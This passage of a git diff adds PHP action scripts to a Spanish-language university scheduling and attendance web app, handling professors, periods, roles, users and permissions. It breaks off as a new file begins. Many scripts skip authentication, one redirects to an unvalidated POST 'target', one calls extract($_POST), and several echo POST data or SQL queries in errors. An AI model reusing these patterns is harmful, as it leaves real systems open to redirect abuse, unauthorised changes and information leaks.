$sql = "UPDATE materia SET materia_nombre = :nombre WHERE materia_id = :id";
|
||||||
|
$params = array(':nombre' => mb_strtoupper($_POST["nombre"]), ':id' => $_POST["id"]);
|
||||||
|
$hecho = query($sql, $params, false);
|
||||||
|
header("Location: ../materias.php");
|
||||||
|
exit();
|
||||||
|
?>
|
||||||
17
action/action_new_horario.php
Normal file
17
action/action_new_horario.php
Normal file
@@ -0,0 +1,17 @@
|
|||||||
|
<!-- fi_horario(
|
||||||
|
p_hora character varying,
|
||||||
|
p_materia character varying,
|
||||||
|
p_clave character varying,
|
||||||
|
p_nombre character varying,
|
||||||
|
p_grado character varying,
|
||||||
|
p_correo character varying,
|
||||||
|
p_facultad integer,
|
||||||
|
p_carrera integer,
|
||||||
|
p_grupo character varying DEFAULT NULL::character varying,
|
||||||
|
p_salon character varying DEFAULT NULL::character varying) -->
|
||||||
|
|
||||||
|
<?php
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../include/bd_pdo.php";
|
||||||
|
|
||||||
|
$sql = "SELECT fi_horario(:hora, :materia, :clave, :nombre, :grado, :correo, :facultad, :carrera, :grupo, :salon)";
|
||||||
17
action/action_periodos_insert.php
Normal file
17
action/action_periodos_insert.php
Normal file
@@ -0,0 +1,17 @@
|
|||||||
|
<?php
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../include/bd_pdo.php";
|
||||||
|
global $pdo;
|
||||||
|
$sql = "SELECT fi_periodo(:fecha_inicio, :fecha_fin, :estado, :nombre, :nivel, :facultad)";
|
||||||
|
$params = [
|
||||||
|
':fecha_inicio' => $_POST['fecha_inicial'],
|
||||||
|
':fecha_fin' => $_POST['fecha_final'],
|
||||||
|
':estado' => $_POST['estadoP'],
|
||||||
|
':nombre' => mb_strtoupper($_POST['nombreP']),
|
||||||
|
':nivel' => $_POST['nivelP'],
|
||||||
|
':facultad' => $_POST['facultadP']
|
||||||
|
];
|
||||||
|
echo json_encode(query($sql, $params, true));
|
||||||
|
header("Location: ../carreras.php?facultad=".$_POST['facultadP']);
|
||||||
|
exit();
|
||||||
|
?>
|
||||||
8
action/action_periodos_select.php
Normal file
8
action/action_periodos_select.php
Normal file
@@ -0,0 +1,8 @@
|
|||||||
|
<?php
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../include/bd_pdo.php";
|
||||||
|
global $pdo;
|
||||||
|
$sql = "SELECT * FROM fs_periodo WHERE facultad_id = :idfacultad AND id = :idperiodo";
|
||||||
|
$params = [':idfacultad' => $_POST['idfacultad'], ':idperiodo' => $_POST['idperiodo']];
|
||||||
|
echo json_encode(query($sql, $params, true));
|
||||||
|
?>
|
||||||
17
action/action_periodos_update.php
Normal file
17
action/action_periodos_update.php
Normal file
@@ -0,0 +1,17 @@
|
|||||||
|
<?php
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../include/bd_pdo.php";
|
||||||
|
global $pdo;
|
||||||
|
print_r($_POST);
|
||||||
|
$sql = "SELECT fu_update_periodo(:periodo_id, :fecha_inicio, :fecha_final, :estado, :nombre, :nivel)";
|
||||||
|
$params = [
|
||||||
|
':periodo_id' => $_POST['idP'],
|
||||||
|
':fecha_inicio' => $_POST['fecha_inicial'],
|
||||||
|
':fecha_final' => $_POST['fecha_final'],
|
||||||
|
':estado' => $_POST['estadoP'],
|
||||||
|
':nombre' => mb_strtoupper($_POST['nombreP']),
|
||||||
|
':nivel' => $_POST['nivelP']
|
||||||
|
];
|
||||||
|
echo json_encode(query($sql, $params, true));
|
||||||
|
header("Location: ../carreras.php?facultad=" . $_POST['facultadP']);
|
||||||
|
exit();
|
||||||
17
action/action_periodousuario_update.php
Normal file
17
action/action_periodousuario_update.php
Normal file
@@ -0,0 +1,17 @@
|
|||||||
|
<?php
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../class/c_login.php";
|
||||||
|
|
||||||
|
if (!isset($_SESSION['user'])) {
|
||||||
|
header('Location: index.php');
|
||||||
|
exit;
|
||||||
|
} else
|
||||||
|
$user = unserialize($_SESSION['user']);
|
||||||
|
|
||||||
|
$params = array(':id' => $user->user['id'], ':per' => $_POST['id']);
|
||||||
|
$user->print_to_log('Actualizando periodo from ' . $user->periodo_id . ' to ' . $_POST['id']);
|
||||||
|
|
||||||
|
query("SELECT FU_UPDATEPERIODO(:id, :per)", $params);
|
||||||
|
|
||||||
|
$_SESSION['user'] = serialize($user);
|
||||||
|
header("Location: {$_POST["target"]}");
|
||||||
36
action/action_permisos_update.php
Normal file
36
action/action_permisos_update.php
Normal file
@@ -0,0 +1,36 @@
|
|||||||
|
<?php
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../include/bd_pdo.php";
|
||||||
|
global $db;
|
||||||
|
if(isset($_POST['lectura']))
|
||||||
|
$ver = $_POST['lectura'];
|
||||||
|
if(isset($_POST['editar']))
|
||||||
|
$editar = $_POST['editar'];
|
||||||
|
foreach($editar as $edit){
|
||||||
|
$edit_separado = explode("_", $edit);
|
||||||
|
$completo[]=$edit_separado;
|
||||||
|
}
|
||||||
|
$db->query("SELECT fd_permiso()");
|
||||||
|
foreach($ver as $lectura){
|
||||||
|
$igual=false;
|
||||||
|
$ver_separado = explode("_", $lectura);
|
||||||
|
foreach($completo as $comp){
|
||||||
|
if($ver_separado[0] == $comp[0] && $ver_separado[1] == $comp[1]){
|
||||||
|
$igual=true;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if(!$igual)
|
||||||
|
$completo[]=$ver_separado;
|
||||||
|
}
|
||||||
|
foreach($completo as $actual){
|
||||||
|
|
||||||
|
$db->insert('permiso', [
|
||||||
|
'pagina_id' => $actual['0'],
|
||||||
|
'rol_id' => $actual['1'],
|
||||||
|
'permiso_tipo' => $actual['2'],
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
header("Location: ../permisos.php");
|
||||||
|
exit();
|
||||||
|
?>
|
||||||
57
action/action_profesor.php
Normal file
57
action/action_profesor.php
Normal file
@@ -0,0 +1,57 @@
|
|||||||
|
<?
|
||||||
|
#input $_GET['id_espacio_sgu']
|
||||||
|
#output rutas: [ ...ruta, salones: [{...salon}] ]
|
||||||
|
header('Content-Type: application/json charset=utf-8');
|
||||||
|
ini_set('display_errors', 1);
|
||||||
|
ini_set('display_startup_errors', 1);
|
||||||
|
error_reporting(E_ALL);
|
||||||
|
|
||||||
|
$ruta = "../";
|
||||||
|
require_once $ruta . "class/c_login.php";
|
||||||
|
if (!isset($_SESSION['user'])) {
|
||||||
|
http_response_code(401);
|
||||||
|
die(json_encode(['error' => 'unauthorized']));
|
||||||
|
}
|
||||||
|
$user = unserialize($_SESSION['user']);
|
||||||
|
|
||||||
|
// check method
|
||||||
|
try {
|
||||||
|
if ($_SERVER['REQUEST_METHOD'] === 'GET') {
|
||||||
|
$data = $db->query(
|
||||||
|
"SELECT DISTINCT profesor.*
|
||||||
|
FROM profesor
|
||||||
|
JOIN horario_profesor using (profesor_id)
|
||||||
|
JOIN horario using (horario_id)
|
||||||
|
JOIN materia using (materia_id)
|
||||||
|
JOIN carrera using (carrera_id)
|
||||||
|
WHERE carrera.facultad_id = :facultad_id OR :facultad_id IS NULL
|
||||||
|
ORDER BY profesor.profesor_nombre",
|
||||||
|
array(
|
||||||
|
":facultad_id" => $user->facultad['facultad_id']
|
||||||
|
)
|
||||||
|
);
|
||||||
|
|
||||||
|
$last_query = [
|
||||||
|
'query' => $db->getLastQuery(),
|
||||||
|
];
|
||||||
|
|
||||||
|
echo json_encode($data, JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT);
|
||||||
|
} else {
|
||||||
|
http_response_code(405);
|
||||||
|
echo json_encode(['error' => 'method not allowed']);
|
||||||
|
exit;
|
||||||
|
}
|
||||||
|
} catch (PDOException $th) {
|
||||||
|
http_response_code(500);
|
||||||
|
echo json_encode([
|
||||||
|
'error' => $th->getMessage(),
|
||||||
|
'query' => $db->getLastQuery(),
|
||||||
|
], JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES | JSON_PARTIAL_OUTPUT_ON_ERROR);
|
||||||
|
exit;
|
||||||
|
} catch (Exception $th) {
|
||||||
|
http_response_code(500);
|
||||||
|
echo json_encode([
|
||||||
|
'error' => $th->getMessage(),
|
||||||
|
], JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT);
|
||||||
|
exit;
|
||||||
|
}
|
||||||
40
action/action_profesor_faltas.php
Normal file
40
action/action_profesor_faltas.php
Normal file
@@ -0,0 +1,40 @@
|
|||||||
|
<?php
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../include/bd_pdo.php";
|
||||||
|
|
||||||
|
// die(print_r($_POST, true));
|
||||||
|
|
||||||
|
extract($_POST);
|
||||||
|
// if hora fin is null, then subtract half an hour from hora inicio and set hora fin to hora inicio + half an hour
|
||||||
|
$hora_fin = empty($hora_fin) ? $hora_inicio : $hora_fin;
|
||||||
|
|
||||||
|
$hora_inicio = date('H:i:s', strtotime($hora_inicio < '07:00' ? '07:00' : $hora_inicio) - 1800);
|
||||||
|
$hora_fin = date('H:i:s', strtotime($hora_fin > '22:00' ? '22:00' : $hora_fin) + 1800);
|
||||||
|
|
||||||
|
die(json_encode(
|
||||||
|
array_map(fn ($row) => array_merge(
|
||||||
|
$db->where('id', $row['profesor_id'])->getOne('fs_profesor'),
|
||||||
|
$db->where('id', $row['materia_id'])->getOne('fs_materia'),
|
||||||
|
$row
|
||||||
|
),
|
||||||
|
queryAll(
|
||||||
|
"SELECT REPORTE.*
|
||||||
|
FROM fs_asistencia_profesorreporte(null, :periodo, null, :fecha, :fecha) AS REPORTE
|
||||||
|
JOIN PROFESOR P ON P.PROFESOR_ID = REPORTE.PROFESOR_ID
|
||||||
|
WHERE HORA_CHECADO IS NULL
|
||||||
|
AND HORA BETWEEN :inicio AND :fin
|
||||||
|
AND P.PROFESOR_CLAVE ILIKE COALESCE(:clave, P.PROFESOR_CLAVE) and UNACCENT(P.PROFESOR_NOMBRE) ILIKE UNACCENT(COALESCE(:nombre, P.PROFESOR_NOMBRE))
|
||||||
|
AND FECHA = :fecha
|
||||||
|
ORDER BY HORA, MATERIA",
|
||||||
|
[
|
||||||
|
'periodo' => $periodo,
|
||||||
|
'fecha' => $fecha,
|
||||||
|
'inicio' => $hora_inicio,
|
||||||
|
'fin' => $hora_fin,
|
||||||
|
'clave' => empty($clave) ? null : "%$clave%",
|
||||||
|
'nombre' => empty($nombre) ? null : "%$nombre%"
|
||||||
|
]
|
||||||
|
))));
|
||||||
|
|
||||||
|
|
||||||
|
#ECHO "$hora_inicio - $hora_fin";
|
||||||
7
action/action_profesores_borra.php
Normal file
7
action/action_profesores_borra.php
Normal file
@@ -0,0 +1,7 @@
|
|||||||
|
<?php
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../include/bd_pdo.php";
|
||||||
|
$sql = "SELECT fu_estado_facultad_profesor(:idprofesor, :idfacultad, :estado)";
|
||||||
|
$params = [':idprofesor' => $_POST['id_profesor'], ':idfacultad' => $_POST['id_facultad'], ':estado' => $_POST['estado']];
|
||||||
|
echo json_encode(query($sql, $params, false));
|
||||||
|
?>
|
||||||
75
action/action_profesores_insert.php
Normal file
75
action/action_profesores_insert.php
Normal file
@@ -0,0 +1,75 @@
|
|||||||
|
<?php
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../include/bd_pdo.php";
|
||||||
|
$id = trim(filter_input(INPUT_POST, "id", FILTER_SANITIZE_STRING,array('flags' => FILTER_FLAG_STRIP_LOW)));
|
||||||
|
if(isset($_POST["dlfacultad"]))
|
||||||
|
$facultad = trim(filter_input(INPUT_POST, "dlfacultad", FILTER_SANITIZE_STRING,array('flags' => FILTER_FLAG_STRIP_LOW)));
|
||||||
|
else
|
||||||
|
$facultad = trim(filter_input(INPUT_POST, "mfacultad", FILTER_SANITIZE_STRING,array('flags' => FILTER_FLAG_STRIP_LOW)));
|
||||||
|
$clave = trim(filter_input(INPUT_POST, "mclave", FILTER_SANITIZE_STRING,array('flags' => FILTER_FLAG_STRIP_LOW)));
|
||||||
|
$grado = trim(filter_input(INPUT_POST, "grado", FILTER_SANITIZE_STRING,array('flags' => FILTER_FLAG_STRIP_LOW)));
|
||||||
|
$nombre = trim(filter_input(INPUT_POST, "nombre", FILTER_SANITIZE_STRING,array('flags' => FILTER_FLAG_STRIP_LOW)));
|
||||||
|
$grado = mb_strtoupper($grado);
|
||||||
|
if(!empty($grado)){
|
||||||
|
if(!ctype_space($grado)){
|
||||||
|
if($grado[strlen($grado)-1] != '.')
|
||||||
|
$grado.='.';
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
$grado="";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
$fs_profesores = query(//revisar si existe la clave del profesor
|
||||||
|
"SELECT * FROM fs_profesor WHERE clave = :clave",
|
||||||
|
array(":clave" => $_POST["mclave"]),
|
||||||
|
true
|
||||||
|
);
|
||||||
|
if(!$fs_profesores){//hay que crearlo desde 0 (profesor) y agregarlo a su facultad(facultad_profesor)
|
||||||
|
$profesor_id = query(
|
||||||
|
"SELECT public.fi_profesor(
|
||||||
|
:nombre,
|
||||||
|
:clave,
|
||||||
|
:facultad,
|
||||||
|
null,
|
||||||
|
:grado
|
||||||
|
)",
|
||||||
|
array(":nombre" => mb_strtoupper($nombre), ":clave" => $clave, ":facultad" => $facultad, ":grado" => $grado),
|
||||||
|
true
|
||||||
|
);
|
||||||
|
header("Location: ../profesores.php");
|
||||||
|
exit();
|
||||||
|
}
|
||||||
|
else{//el profesor ya existe
|
||||||
|
$profac = query(
|
||||||
|
"SELECT * FROM facultad_profesor WHERE facultad_id = :facultad AND profesor_id = :profesor",
|
||||||
|
array(":facultad" => $facultad, ":profesor" => $fs_profesores["id"]),
|
||||||
|
true
|
||||||
|
);
|
||||||
|
if(!$profac){//agregarlo a la facultad (facultad_profesor)
|
||||||
|
query(
|
||||||
|
"SELECT fi_facultad_profesor(
|
||||||
|
:facultad,
|
||||||
|
:profesor
|
||||||
|
)",
|
||||||
|
array(":facultad" => $facultad, ":profesor" => $fs_profesores["id"]),
|
||||||
|
true
|
||||||
|
);
|
||||||
|
header("Location: ../profesores.php");
|
||||||
|
exit();
|
||||||
|
}
|
||||||
|
else{//regresar error (ya existe este profesor en esta facultad)
|
||||||
|
//print_r($profac);
|
||||||
|
if(!$profac['fp_activo']){
|
||||||
|
query(
|
||||||
|
"SELECT fu_estado_facultad_profesor(:idprofesor, :idfacultad, :estado)",
|
||||||
|
array(":idprofesor" => $fs_profesores["id"], ":idfacultad" => $facultad, ":estado" => true),
|
||||||
|
true
|
||||||
|
);
|
||||||
|
header("Location: ../profesores.php");
|
||||||
|
exit();
|
||||||
|
}
|
||||||
|
header("Location: ../profesores.php?error=1");
|
||||||
|
#exit();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
?>
|
||||||
10
action/action_profesores_select.php
Normal file
10
action/action_profesores_select.php
Normal file
@@ -0,0 +1,10 @@
|
|||||||
|
<?php
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../include/bd_pdo.php";
|
||||||
|
|
||||||
|
global $pdo;
|
||||||
|
|
||||||
|
$sql = "SELECT * FROM profesor WHERE profesor_id = :idProfesor";
|
||||||
|
$params = [':idProfesor' => $_POST['profesor']];
|
||||||
|
|
||||||
|
echo json_encode(query($sql, $params, false));
|
||||||
23
action/action_profesores_update.php
Normal file
23
action/action_profesores_update.php
Normal file
@@ -0,0 +1,23 @@
|
|||||||
|
<?php
|
||||||
|
$ruta = "../";
|
||||||
|
|
||||||
|
/* ini_set('display_errors', 1);
|
||||||
|
ini_set('display_startup_errors', 1);
|
||||||
|
error_reporting(E_ALL); */
|
||||||
|
require_once "../include/bd_pdo.php";
|
||||||
|
global $db;
|
||||||
|
$grado = $_POST['grado'];
|
||||||
|
$grado = mb_strtoupper($grado);
|
||||||
|
if (!empty($grado)) {
|
||||||
|
if (!ctype_space($grado)) {
|
||||||
|
if ($grado[strlen($grado) - 1] != '.')
|
||||||
|
$grado .= '.';
|
||||||
|
} else {
|
||||||
|
$grado = "";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// print_r($_POST);
|
||||||
|
|
||||||
|
$db->where('profesor_id', $_POST['id'])->update('profesor', ['profesor_grado' => $_POST['grado']]);
|
||||||
|
header("Location: ../profesores.php", true, 307);
|
||||||
|
exit();
|
||||||
54
action/action_reposiciones.php
Normal file
54
action/action_reposiciones.php
Normal file
@@ -0,0 +1,54 @@
|
|||||||
|
<?php
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../class/c_login.php";
|
||||||
|
|
||||||
|
if (!isset($_SESSION['user']))
|
||||||
|
die(json_encode(['error' => 'No se ha iniciado sesión']));
|
||||||
|
|
||||||
|
$user = unserialize($_SESSION['user']);
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../include/bd_pdo.php";
|
||||||
|
|
||||||
|
// if method is get
|
||||||
|
header("Content-Type: application/json");
|
||||||
|
if ($_SERVER['REQUEST_METHOD'] === 'GET') {
|
||||||
|
$user->print_to_log("Acceso a reposiciones");
|
||||||
|
$reposiciones = $db
|
||||||
|
->where('periodo_id', $_GET['periodo_id'] ?? null)
|
||||||
|
->where('profesor_id', $_GET['profesor_id'] ?? [])
|
||||||
|
->get("reposicion");
|
||||||
|
echo json_encode([
|
||||||
|
'status' => 'success',
|
||||||
|
'reposiciones' => $reposiciones
|
||||||
|
]);
|
||||||
|
} elseif ($_SERVER['REQUEST_METHOD'] === 'POST') {
|
||||||
|
$user->print_to_log("Creación de reposición", new: $params);
|
||||||
|
try {
|
||||||
|
$requiredParams = ['horario_id', 'fecha', 'hora', 'duracion_id', 'descripcion', 'profesor_id', 'salon', 'unidad', 'periodo_id', 'fecha_clase'];
|
||||||
|
|
||||||
|
// Filter params based on requiredParams
|
||||||
|
$params = array_filter($_POST, function ($key) use ($requiredParams) {
|
||||||
|
return in_array($key, $requiredParams);
|
||||||
|
}, ARRAY_FILTER_USE_KEY);
|
||||||
|
|
||||||
|
// Check if all required params are present
|
||||||
|
if (count($params) !== count($requiredParams)) {
|
||||||
|
throw new Exception('Falta uno o más parámetros requeridos');
|
||||||
|
}
|
||||||
|
|
||||||
|
$db->insert("reposicion", $params);
|
||||||
|
|
||||||
|
// Return success response
|
||||||
|
echo json_encode([
|
||||||
|
"status" => "success",
|
||||||
|
"message" => "Reposición creada correctamente",
|
||||||
|
]);
|
||||||
|
} catch (Exception $e) {
|
||||||
|
// Return error response
|
||||||
|
echo json_encode([
|
||||||
|
"status" => "error",
|
||||||
|
"message" => "No se pudo crear la reposición",
|
||||||
|
"error" => $e->getMessage(),
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
}
|
||||||
50
action/action_revisar_excel.php
Normal file
50
action/action_revisar_excel.php
Normal file
@@ -0,0 +1,50 @@
|
|||||||
|
<?php
|
||||||
|
#display PHP errors
|
||||||
|
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../include/bd_pdo.php";
|
||||||
|
require_once "../include/func_excel.php";
|
||||||
|
require_once "../include/func_string.php";
|
||||||
|
|
||||||
|
use PhpOffice\PhpSpreadsheet\IOFactory;
|
||||||
|
|
||||||
|
$reader = IOFactory::createReader("Xlsx");
|
||||||
|
$reader->setReadDataOnly(true);
|
||||||
|
|
||||||
|
$file = $_FILES['archivo'];
|
||||||
|
|
||||||
|
|
||||||
|
$spreadsheet = $reader->load($file['tmp_name'][0]);
|
||||||
|
|
||||||
|
$data = [];
|
||||||
|
|
||||||
|
try {
|
||||||
|
|
||||||
|
foreach_sheet(
|
||||||
|
$spreadsheet, // object $spreadsheet
|
||||||
|
function (array $row_data, int $i, string $sheet) {
|
||||||
|
global $horario, $data;
|
||||||
|
|
||||||
|
if (renglón_vacío($row_data)) return;
|
||||||
|
validar_registro($row_data, $i);
|
||||||
|
|
||||||
|
$horario["horario"] = horario($row_data, $i, $sheet);
|
||||||
|
|
||||||
|
foreach (array_filter($row_data) as $key => $value)
|
||||||
|
$horario = array_merge($horario, ($key == 'maestro') ? columna_nombre($value) : [$key => $value]);
|
||||||
|
|
||||||
|
$data[] = $horario;
|
||||||
|
}
|
||||||
|
);
|
||||||
|
|
||||||
|
die(json_encode([
|
||||||
|
"status" => "success",
|
||||||
|
"message" => "Horario revisado con éxito, se leyeron: " . count($data) . " registros",
|
||||||
|
"data" => $data
|
||||||
|
]));
|
||||||
|
} catch (Exception $e) {
|
||||||
|
die(json_encode([
|
||||||
|
"status" => "error",
|
||||||
|
"message" => $e->getMessage(),
|
||||||
|
]));
|
||||||
|
}
|
||||||
11
action/action_roles_insert.php
Normal file
11
action/action_roles_insert.php
Normal file
@@ -0,0 +1,11 @@
|
|||||||
|
<?php
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../include/bd_pdo.php";
|
||||||
|
global $pdo;
|
||||||
|
print_r($_POST);
|
||||||
|
$sql = "INSERT INTO rol (rol_titulo) VALUES (:nombre)";
|
||||||
|
$params = [':nombre' => mb_strtoupper($_POST['mtitulo'])];
|
||||||
|
$hecho = query($sql, $params, true);
|
||||||
|
header("Location: ../roles.php");
|
||||||
|
exit();
|
||||||
|
?>
|
||||||
11
action/action_roles_select.php
Normal file
11
action/action_roles_select.php
Normal file
@@ -0,0 +1,11 @@
|
|||||||
|
<?php
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../include/bd_pdo.php";
|
||||||
|
|
||||||
|
global $pdo;
|
||||||
|
|
||||||
|
$sql = "SELECT * FROM rol WHERE rol_id = :idRol";
|
||||||
|
$params = [':idRol' => $_POST['rol']];
|
||||||
|
|
||||||
|
echo json_encode( query($sql, $params, true));
|
||||||
|
?>
|
||||||
11
action/action_roles_update.php
Normal file
11
action/action_roles_update.php
Normal file
@@ -0,0 +1,11 @@
|
|||||||
|
<?php
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../include/bd_pdo.php";
|
||||||
|
global $pdo;
|
||||||
|
$sql = "UPDATE rol SET rol_titulo = :nombre WHERE rol_id = :id";
|
||||||
|
$params = array(':nombre' => mb_strtoupper($_POST['mtitulo']), ':id' => $_POST['id']);
|
||||||
|
print_r($_POST);
|
||||||
|
$hecho = query($sql, $params, false);
|
||||||
|
header("Location: ../roles.php", true, 307);
|
||||||
|
exit();
|
||||||
|
?>
|
||||||
37
action/action_tiempos_update.php
Normal file
37
action/action_tiempos_update.php
Normal file
@@ -0,0 +1,37 @@
|
|||||||
|
<?php
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../include/bd_pdo.php";
|
||||||
|
print_r($_POST);
|
||||||
|
|
||||||
|
$fs_tiempo = query(
|
||||||
|
"SELECT * FROM fs_tiempo_checado(:facultad, 1)", [':facultad' => $_POST['facultadT']], true
|
||||||
|
);
|
||||||
|
|
||||||
|
if($fs_tiempo){
|
||||||
|
$sql = "SELECT fu_update_tiempo_checado(:idfacultad, :idnivel, :antes, :despues, :retardo)";
|
||||||
|
$params = [':idfacultad' => $_POST['facultadT'], ':idnivel' => 1, ':antes' => -1*$_POST['antesL'], ':despues' => $_POST['despuesL']+1, ':retardo' => $_POST['retardoL']+$_POST['despuesL']+1];
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
$sql = "SELECT fi_tiempo_checado(:idfacultad, :idnivel, :antes, :despues, :retardo)";
|
||||||
|
$params = [':idfacultad' => $_POST['facultadT'], ':idnivel' => 1, ':antes' => -1*$_POST['antesL'], ':despues' => $_POST['despuesL']+1, ':retardo' => $_POST['retardoL']+$_POST['despuesL']+1];
|
||||||
|
}
|
||||||
|
query($sql, $params, false);
|
||||||
|
|
||||||
|
|
||||||
|
$fs_tiempo2 = query(
|
||||||
|
"SELECT * FROM fs_tiempo_checado(:facultad, 2)", [':facultad' => $_POST['facultadT']], true
|
||||||
|
);
|
||||||
|
|
||||||
|
if($fs_tiempo2){
|
||||||
|
$sql = "SELECT fu_update_tiempo_checado(:idfacultad, :idnivel, :antes, :despues, :retardo)";
|
||||||
|
$params = [':idfacultad' => $_POST['facultadT'], ':idnivel' => 2, ':antes' => -1*$_POST['antesP'], ':despues' => $_POST['despuesP']+1, ':retardo' => $_POST['retardoP']+$_POST['despuesP']+1];
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
$sql = "SELECT fi_tiempo_checado(:idfacultad, :idnivel, :antes, :despues, :retardo)";
|
||||||
|
$params = [':idfacultad' => $_POST['facultadT'], ':idnivel' => 2, ':antes' => -1*$_POST['antesP'], ':despues' => $_POST['despuesP']+1, ':retardo' => $_POST['retardoP']+$_POST['despuesP']+1];
|
||||||
|
}
|
||||||
|
query($sql, $params, false);
|
||||||
|
|
||||||
|
header("Location: ../carreras.php?facultad=".$_POST['facultadT']);
|
||||||
|
exit();
|
||||||
|
?>
|
||||||
22
action/action_usuario.php
Normal file
22
action/action_usuario.php
Normal file
@@ -0,0 +1,22 @@
|
|||||||
|
<?php
|
||||||
|
$ruta = "../";
|
||||||
|
require_once '../class/c_login.php';
|
||||||
|
|
||||||
|
// print_r($_POST); exit;
|
||||||
|
|
||||||
|
if (($user = Login::validUser($_POST['username'], $_POST['passwd'])) === false) {
|
||||||
|
echo json_encode("error");
|
||||||
|
exit;
|
||||||
|
}
|
||||||
|
|
||||||
|
$facultades = queryAll("SELECT DISTINCT ID, FACULTAD FROM FS_FACULTAD WHERE ACTIVA");
|
||||||
|
|
||||||
|
for ($i = 0; $i < count($facultades); $i++) {
|
||||||
|
# print_r($facultades[$i]);
|
||||||
|
$facultades[$i]['usuarios'] = queryAll(
|
||||||
|
"SELECT ID, USERNAME FROM FS_USUARIO WHERE facultad = :facultad",
|
||||||
|
array(":facultad" => $facultades[$i]["id"])
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
echo json_encode($facultades);
|
||||||
15
action/action_usuarios_delete.php
Normal file
15
action/action_usuarios_delete.php
Normal file
@@ -0,0 +1,15 @@
|
|||||||
|
<?php
|
||||||
|
ini_set('display_errors', 1);
|
||||||
|
ini_set('display_startup_errors', 1);
|
||||||
|
error_reporting(E_ALL);
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../include/bd_pdo.php";
|
||||||
|
global $db;
|
||||||
|
|
||||||
|
try {
|
||||||
|
$db->querySingle("UPDATE usuario SET estado_baja = TRUE WHERE usuario_id = ?", [$_GET['id']]);
|
||||||
|
header("Location: ../usuarios.php", true, 307);
|
||||||
|
} catch (PDOException $e) {
|
||||||
|
header("Location: ../usuarios.php?error=2");
|
||||||
|
exit;
|
||||||
|
}
|
||||||
29
action/action_usuarios_insert.php
Normal file
29
action/action_usuarios_insert.php
Normal file
@@ -0,0 +1,29 @@
|
|||||||
|
<?php
|
||||||
|
ini_set('display_errors', 1);
|
||||||
|
ini_set('display_startup_errors', 1);
|
||||||
|
error_reporting(E_ALL);
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../include/bd_pdo.php";
|
||||||
|
global $db;
|
||||||
|
if (isset($_POST['dlfacultad']))
|
||||||
|
$facultad = $_POST['dlfacultad'];
|
||||||
|
else
|
||||||
|
$facultad = $_POST['mfacultad'];
|
||||||
|
|
||||||
|
if ($db->where('usuario_clave', $_POST['mclave'])->has('usuario')) {
|
||||||
|
header("Location: ../usuarios.php?error=1");
|
||||||
|
exit;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
$db->insert('usuario', [
|
||||||
|
'usuario_nombre' => mb_strtoupper($_POST['mnombre']),
|
||||||
|
'usuario_correo' => $_POST['mcorreo'],
|
||||||
|
'usuario_clave' => $_POST['mclave'],
|
||||||
|
'rol_id' => $_POST['mrol'] ?? null,
|
||||||
|
'facultad_id' => empty($facultad) ? null : $facultad,
|
||||||
|
]);
|
||||||
|
header("Location: ../usuarios.php", true, 307);
|
||||||
|
} catch (PDOException $e) {
|
||||||
|
header("Location: ../usuarios.php?error=2");
|
||||||
|
exit;
|
||||||
|
}
|
||||||
8
action/action_usuarios_select.php
Normal file
8
action/action_usuarios_select.php
Normal file
@@ -0,0 +1,8 @@
|
|||||||
|
<?php
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../include/bd_pdo.php";
|
||||||
|
global $pdo;
|
||||||
|
$sql = "SELECT * FROM usuario WHERE usuario_id = :idUsuario";
|
||||||
|
$params = [':idUsuario' => $_POST['usuario']];
|
||||||
|
echo json_encode(query($sql, $params, true));
|
||||||
|
?>
|
||||||
26
action/action_usuarios_update.php
Normal file
26
action/action_usuarios_update.php
Normal file
@@ -0,0 +1,26 @@
|
|||||||
|
<?php
|
||||||
|
ini_set('display_errors', 1);
|
||||||
|
ini_set('display_startup_errors', 1);
|
||||||
|
error_reporting(E_ALL);
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../include/bd_pdo.php";
|
||||||
|
global $db;
|
||||||
|
print_r($_POST);
|
||||||
|
if (isset($_POST['dlfacultad']))
|
||||||
|
$facultad = $_POST['dlfacultad'];
|
||||||
|
else
|
||||||
|
$facultad = $_POST['mfacultad'];
|
||||||
|
|
||||||
|
$db->where('usuario_clave', $_POST['mclave'])
|
||||||
|
->update(
|
||||||
|
'usuario',
|
||||||
|
array(
|
||||||
|
'usuario_nombre' => mb_strtoupper($_POST['mnombre']),
|
||||||
|
'usuario_correo' => $_POST['mcorreo'],
|
||||||
|
'usuario_clave' => $_POST['mclave'],
|
||||||
|
'rol_id' => $_POST['mrol'],
|
||||||
|
'facultad_id' => empty($facultad) ? null : $facultad,
|
||||||
|
)
|
||||||
|
);
|
||||||
|
header("Location: ../usuarios.php", true, 307);
|
||||||
|
exit();
|
||||||
166
action/asignacion_insert.php
Normal file
166
action/asignacion_insert.php
Normal file
@@ -0,0 +1,166 @@
|
|||||||
|
<?php
|
||||||
|
/*
|
||||||
|
